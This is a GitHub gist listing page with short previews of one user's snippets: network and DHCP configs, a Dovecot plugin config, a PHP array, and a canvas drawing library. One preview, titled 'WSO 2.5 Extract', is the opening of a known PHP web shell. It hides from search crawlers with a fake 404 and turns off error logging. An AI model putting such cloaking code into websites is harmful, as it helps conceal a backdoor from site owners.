Skip to content

Instantly share code, notes, and snippets.

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth4
iface eth4 inet manual
ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
log-facility local7;
subnet 192.168.8.0 netmask 255.255.252.0 {
option domain-name "rootServer";
option domain-name-servers <your LAN DNS Server>;
option routers 192.168.8.1;
range 192.168.8.50 192.168.11.253;
@nroussi
nroussi / wso25
Created August 13, 2013 16:28
WSO 2.5 Extract
if(!empty($_SERVER['HTTP_USER_AGENT']))
{
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
{
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
protocol imap {
mail_plugins = quota imap_quota autocreate
}
plugin {
autocreate = Trash
autocreate2 = Spam
autosubscribe = Trash
autosubscribe2 = Spam
}
@nroussi
nroussi / gist:4149820
Created November 26, 2012 18:36
PHP Sample Array
$homeroomArray = array();
$homeroomArray[0][0] = 1;
$homeroomArray[0][1] = 1;
$homeroomArray[1][0] = 2;
$homeroomArray[1][1] = 1;
$homeroomArray[2][0] = 3;
$homeroomArray[2][1] = 1;
$homeroomArray[3][0] = 4;
$homeroomArray[3][1] = 1;
@nroussi
nroussi / canvas_draw.js
Created February 17, 2012 16:53
Canvas Draw JS library
function prepare_canvas()
{
var prepare_canvas_obj = new Object();
var canvas;
var canvas_ctx;
var canvas_color;
var numeric_color;
var cb_lastPointsQuiz = Array();
//create the palette
function create_palette(canvasID)
@nroussi
nroussi / canvas_main.html
Created February 17, 2012 16:46
HTML Canvas
<fieldset id="palette_canvas1"><legend>Canvas #1</legend>
<canvas id="canvas1" width="600" height="450" style="border:thin solid #000; margin:auto; background-color:white;"></canvas><br />
<script>
canvas1 = new prepare_canvas();
canvas1.create_canvas("canvas1");
</script>
</fieldset>
<fieldset id="palette_canvas2"><legend>Canvas #2</legend>